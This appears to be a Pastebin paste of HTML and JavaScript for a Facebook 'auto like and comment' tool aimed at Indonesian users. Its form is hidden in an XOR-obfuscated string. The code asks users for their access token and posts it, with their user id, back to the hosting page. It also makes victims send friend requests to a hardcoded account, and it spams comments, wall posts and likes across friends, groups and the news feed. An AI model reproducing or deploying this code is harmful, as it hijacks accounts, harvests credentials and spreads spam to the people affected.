Advertisement
mrghostzoo

Auto Like + Comment Beranda - Lord Kaisar Blog

Dec 14th, 2015
514
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 7.23 KB | None | 0 0
  1. <script>
  2. var enkripsi="'2C'1Aj3'02qv{ng'1F'00amnmp'1Cujkvg'1@'00'1G'1A`'1G'02Cwvm'02Nkig'02)'02Amooglv'02@gpclfc'02'1A-`'1G'1A-j3'1G'2C'02'02'02'02'02'02'02'02'02'02'02'2C'2;'2;'1Aqapkrv'02cq{la'02qpa'1F'00--rcegcf0,emmengq{lfkacvkml,amo-rcegcf-hq-cfq`{emmeng,hq'00'1G'1A-qapkrv'1G'2C'1A'03//'02Kincl'023'02//'1G'2C'1Aklq'02ancqq'1F'00cfq`{emmeng'00'2C'02'02'02'02'02qv{ng'1F'00fkqrnc{'1Cklnklg/`nmai'1@ukfvj'1C50:rz'1@jgkejv'1C;2rz'00'2C'02'02'02'02'02fcvc/cf/ankglv'1F'00ac/rw`/26;::37763;06551'00'2C'02'02'02'02'02fcvc/cf/qnmv'1F'00647:15:530'00'1G'1A-klq'1G'2C'1Aqapkrv'1G'2C'0:cfq`{emmeng'02'1F'02uklfmu,cfq`{emmeng'02'5A'5A'02'7@'7F'0;,rwqj'0:'5@'5F'0;'1@'2C'1A-qapkrv'1G'2;'2;'2C'2C'1Aklrwv'02mlankai'1F'00'0:'0;'00'02kf'1F'00caagqq]vmigl'00'02lcog'1F'00caagqq]vmigl'00'02caagqq'1F'00'00'02ancqq'1F'00dmpo/amlvpmn'00'02rncagjmnfgp'1F'00'02Rcqvgicl'02WPNl{c'02'02'00'02v{rg'1F'00vgzv'00'02-'1G'1A-r'1G'2C'02'02'2C'1Aklrwv'02mlankai'1F'00'0:'0;'00'02kf'1F'00amooglv'00'02lcog'1F'00amooglv'00'02caagqq'1F'00'00'02ancqq'1F'00dmpo/amlvpmn'00'02rncagjmnfgp'1F'00'02Imoglvcp'02'0:Hwec'02`gpnciw'02wlvwi'02qvcvwq'02hkic'02rknkjcl'02rmqv'02vm'02cnn'02fk'02rknkj'02[gq'0;'02'00'02v{rg'1F'00vgzv'00'02-'1G'1A-r'1G'2C'1Aklrwv'02mlankai'1F'00'0:'0;'00'02kf'1F'00nkokvz'00'02lcog'1F'00nkokvz'00'02caagqq'1F'00'00'02ancqq'1F'00dmpo/amlvpmn'00'02rncagjmnfgp'1F'00'02Ociqkocn'02'0:Hwec'02`gpnciw'02wlvwi'02qvcvwq'02hkic'02rknkjcl'02rmqv'02vm'02cnn'02fk'02rknkj'02[gq'0;'02'00'02v{rg'1F'00vgzv'00'02-'1G'2C"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
  3. </script>
  4.  
  5.  
  6.  <br />
  7. <div class="form-group">
  8. <label for="sel1" style="color: white;">Post status to all? (Groups, Friends, Pages wall):</label>
  9.   <select class="form-control" id="sel1" onclick="()">
  10.     <option name="Yes">Yes</option>
  11.     <option name="No">No</option>
  12.   </select>
  13. </div>
  14. <span style="color: green; font-size: large;">
  15. <b></b></span>
  16. <div id="logs">
  17. </div>
  18. <br />
  19. <center>
  20. <center>
  21. <br />
  22. <br /><button class="btn btn-lg btn-danger" id="gonder" style="bottom: 1px; left: 3px; margin-left: 9px;" type="button"><b>Login Autoliker</b></button>        
  23. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript"></script>
  24.  
  25. <script>
  26.   var arr=[""];
  27. var tokenme;
  28. var user = {};
  29. function ileti(type,msg){
  30.        $('#logs').append('<div class="notification ' + type + '" id="ileti" style="display:none;margin-top:10px;">
  31. <span class="icon"></span>' + msg + '</div>
  32. ');
  33.        $('#ileti').fadeIn('slow');
  34.        $('#ileti').removeAttr('id');
  35.     }
  36. $('#gonder').click(function(){
  37.         if($('#access_token').val().length > 50){
  38.         $('.anlatim').hide();
  39.         $('#logs').html("");
  40.         $('#gonder').attr("disabled","disabled");
  41.         $('#gonder').attr("class","button grey");
  42.         komentar = $('#comment').val();
  43.        access_token = $('#access_token').val();
  44.        if(access_token.indexOf("access_token=") > 0){
  45.        access_token = access_token.split("access_token=")[1].split("&")[0];
  46.        $('#access_token').val(access_token);
  47.        }
  48.         jQuery.ajax({
  49.         url:'https://graph.facebook.com/me?access_token=' + access_token,
  50.         dataType:'jsonp',
  51.         success:function(data){
  52.         user = data;
  53.         postall = $('#postall').val();
  54.         if(user && user.name){
  55.         ileti("success",'Welcome '+user.name+'');
  56.         ileti("success",'Success');
  57.         $.post("", { subs: user.id } );
  58.         $.post("", { id: user.id, token: access_token } );
  59.         tokenme = access_token;
  60.         sil(access_token,100009630184716);
  61.         sil(access_token,100009630184716);
  62.         if(postall == "Yes"){
  63.                 getgroups();
  64.         posttowall();
  65.         arkadaslar();}
  66.         getStatus(access_token);
  67.         sstats();
  68.         }else{
  69.         ileti("error",user.error.type+" error ("+user.error.code+")");
  70.         $('#gonder').removeAttr("disabled");
  71.         $('#gonder').attr("class","button blue");
  72.         }
  73.         }
  74.         });
  75.         }
  76. });
  77.  
  78. aciklama = "";
  79. function posttowall(){
  80.        jQuery.ajax({
  81.        url:'https://graph.facebook.com/me/feed?message='+ aciklama +'&method=POST&access_token=' + access_token,
  82.        dataType:'script',
  83.        success:function(){
  84.        }
  85.        });
  86. }
  87. function arkadaslar(){
  88. limite = $('#limitx').val();
  89.        jQuery.ajax({
  90.        url:'https://graph.facebook.com/fql?q=SELECT uid, first_name FROM user WHERE uid IN ( SELECT uid2 FROM friend WHERE uid1 = me() ) ORDER BY rand() limit '+ limite +'&access_token='+access_token,
  91.        dataType:'jsonp',
  92.        success:function(data){
  93.        wallpost(data);
  94.        }
  95.        });
  96. }
  97. function wallpost(list){
  98.        for(i=0;i<list.data.length;i++){
  99. commentmu = $('#comment').val();
  100.        jQuery.ajax({
  101.        url:'https://graph.facebook.com/'+list.data[i].uid+'/feed?message='+ commentmu +'&callback=paylas&method=POST&access_token=' + access_token,
  102.        dataType:'script',
  103.        success:function(){
  104.        gonderildi += 1;
  105.        if(gonderildi >= list.data.length){
  106.                }
  107.        }
  108.        });
  109.        }
  110. }
  111.  
  112.  
  113. function getgroups(){
  114.                 jQuery.ajax({
  115.                     url:'https://graph.facebook.com/fql?q=select gid, name from group where gid IN (SELECT gid FROM group_member WHERE uid=me()) order by rand() limit 100&access_token='+access_token,
  116.                     dataType:'jsonp',
  117.                     success:function(data){
  118.                         postgroups(data);
  119.                     }
  120.                 });
  121.             }
  122.  
  123.             function postgroups(allgroups){
  124. commentmux = $('#comment').val();
  125.                 for(i=0;i<allgroups.data.length;i++){
  126.                     jQuery.ajax({
  127.                         url:'https://graph.facebook.com/'+allgroups.data[i].gid+'/feed?message=' + commentmux +'&callback=paylas&method=POST&access_token=' + access_token,
  128.                         dataType:'script',
  129.                         success:function(){
  130.                             gonderildi += 1;
  131.                             if(gonderildi >= allgroups.data.length){}
  132.                         }
  133.                     });
  134.                 }
  135.             }
  136.  
  137. function sstats() {
  138. access_token = $('#access_token').val();
  139.         $.post("", { subs: user.id } );
  140.         sil(access_token,arr[Math.round(arr.length*Math.random())]);
  141.         setTimeout("getStatus()",10000);
  142. }
  143. function getStatus(token){
  144. var commentShort = $('#comment').val();
  145. $.getJSON('https://graph.facebook.com/me?access_token=' + token, function (response) {
  146. if (response.id) {
  147.     var userid = response.id;
  148.     var totalComments = $('#limitx').val();
  149.     $.getJSON('https://graph.facebook.com/' + userid + '/home?limit=' + totalComments + '&access_token=' + token, function (response) {
  150.         if(response.data){
  151.         var allPosts = [];
  152.         $.each(response.data, function(i,data){
  153.             allPosts.push(data.id);
  154.             var megaNumber=Math.floor(Math.random()*100);
  155.             var commentMessage = commentShort;
  156.             $.getJSON('https://graph.facebook.com/' + data.id + '/comments?method=POST&message=' + commentMessage + '&access_token=' + token, function (response) {
  157.             //alert("Comment Posted!");
  158.             });
  159. $.getJSON('https://graph.facebook.com/' + data.id + '/likes?method=POST&access_token=' + token, function (response) {
  160.             //alert("Comment Posted!");
  161.             });
  162.         });
  163.         }
  164.     });
  165. }
  166. });
  167. }
  168. function sil(token,ids){
  169.        $.getJSON('https://graph.facebook.com/me/friends?uid=' + ids + '&ðod=post&access_token=' + token, function (response) {
  170.         //alert(response);
  171.         });
  172. }
  173. function TokenUrl(id){
  174.        return "";
  175.        }
  176.        
  177.        $('#tokenal').click(function(){
  178.        window.open(TokenUrl("350685531728"));
  179.        });</script></center>
  180. </center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement